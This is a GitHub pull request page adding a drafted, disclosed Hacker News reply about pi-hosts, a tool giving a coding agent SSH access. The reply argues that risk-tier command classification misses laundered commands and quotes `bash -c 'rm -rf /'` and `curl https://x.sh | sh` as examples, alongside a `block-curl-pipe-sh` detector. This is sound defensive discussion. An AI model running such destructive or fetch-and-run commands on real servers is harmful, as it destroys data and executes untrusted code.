-
Notifications
You must be signed in to change notification settings - Fork 0
[claude-hackernews] Reply draft: Pi-hosts Show HN, args-level laundering vs verb-tier classification (id=47943466) #48
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
NiveditJain
wants to merge
1
commit into
main
Choose a base branch
from
luv-57
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,35 @@ | ||
| **HN:** https://news.ycombinator.com/item?id=47943466 | ||
|
|
||
| **Story / OP:** Show HN: Pi-hosts -- Give the Pi coding agent access to your servers (5 days old, 23 points, 0 comments at time of draft). Author hunvreus is shipping pi-hosts, an extension to the Pi coding agent that gives it SSH access to managed servers. Default mode is "balanced" (run safe/caution, confirm danger, block critical); a "paranoid" mode confirms everything; commands are classified into 4 tiers (safe / caution / danger / critical) with 5 approval modes (balanced / paranoid / strict / manual / off). Audit logging via JSONL. | ||
|
|
||
| **The post:** | ||
| > I built that initially for an AI chat bot that allows teams to perform DevOps tasks straight out of Slack/Teams (with proper permission control, obviously). | ||
| > | ||
| > Useful to let developers perform mundane tasks, or help coordinate incident response. | ||
| > | ||
| > I ended up using it myself on my own machine to manage Hetzner and AWS boxes. I thought that may be useful to others. | ||
| > | ||
| > The default policy should be good enough, but if you don't like living dangerously, you can set it to `paranoid`. | ||
| > | ||
| > Install: `pi install npm:pi-hosts` | ||
|
|
||
| **My reply (top-level comment on the Show HN):** | ||
|
|
||
| ``` | ||
| (disclosure: I work on FailProof AI: https://github.com/exospherehost/failproofai) | ||
|
|
||
| The risk-tier x approval-mode matrix is a real step up from "approve everything vs approve nothing", but classifying by the surface verb leaves a gap. `bash -c 'rm -rf /'` is a `bash` invocation, `sh -lc "..."` is a `sh` invocation, `curl https://x.sh | sh` is technically a `curl`, and an `apt-get install` flagged caution can fetch a postinst that does anything once it runs. Once you're shelling remote commands at all, the dangerous ones don't always wear their tier on their sleeve. A complementary pattern in FailProof is `block-curl-pipe-sh`: it doesn't try to classify the verb, it inspects the args for the laundering shape. Pairing tier classification with a couple of args-level matchers covers the cases tier-mapping alone can't see. | ||
| ``` | ||
|
|
||
| **Insight for the FailProof team:** | ||
|
|
||
| Pi-hosts and FailProof live next to each other in the stack. Pi-hosts gates SSH-out; FailProof gates the agent's local tool calls before any of those `host_exec` invocations even reach pi-hosts. The `block-curl-pipe-sh` angle is concrete and easy to understand, but the deeper signal is that the wider ecosystem is converging on tier/risk-class taxonomies (Pi-hosts: safe/caution/danger/critical; agentport: auto-approve/approve/never; cordon: allow/block/approve/read-only/log-only). Our `allow / instruct / deny` triple plus per-policy code is more expressive but less ergonomic to explain in two seconds. A "FailProof in three modes" framing -- something like a curated `safe / strict / paranoid` preset that maps to bundles of built-ins -- would land in this kind of conversation faster than enumerating policy names. Worth a docs page or a `failproofai presets --apply paranoid` command. Also: failproofai has Pi CLI integration in beta now (per recent commits adding `--cli pi`), so the "use both" path is concrete. | ||
|
|
||
| **Notes / findings:** | ||
|
|
||
| - Thread is 5 days old, 23 points, zero comments. The reply form is rendered, so HN hasn't gated it; it's just stale. Risk: low audience, almost certainly seen only by the OP. Reward: a substantive comment from a peer in the same problem space is high-value to a solo Show HN that didn't catch fire. The "Show HN of an adjacent product where the OP solicits design discussion" lane in INSTRUCTIONS specifically allows this case. | ||
| - The OP's body undersells the design (calls it "default vs paranoid"); the README actually has a 4 x 5 risk x mode matrix. The reply engages with the README-level model, which is more honest and gives the OP credit for the real design. | ||
| - ASCII-only punctuation: hyphens, three-dot ellipses, straight quotes; no em-dashes, en-dashes, fancy ellipses, curly quotes, or unicode arrows. Used letter `x` (not `×`) for the matrix shape. | ||
| - Forbidden patterns avoided: no install command in body, no comma-list of policy names (only `block-curl-pipe-sh` once), no scope-merge / 39-policies / `~/.failproofai/` talk, no two-link pattern (disclosure URL only), no dashboard / `localhost:8020` plug, no marketing connectives ("we built X for", "the gap is", etc.). | ||
| - Body length ~135 words, in the working-shape range (~110 words for `comments/2026-04-29T043958Z.md`). | ||
| - Status: draft (pending manual post). | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Add a language tag to the fenced block to satisfy markdownlint.
Line 18 opens a fenced code block without a language, which triggers MD040. Use an explicit language (for example
text) to keep lint clean.Suggested patch
🧰 Tools
🪛 markdownlint-cli2 (0.22.1)
[warning] 18-18: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🤖 Prompt for AI Agents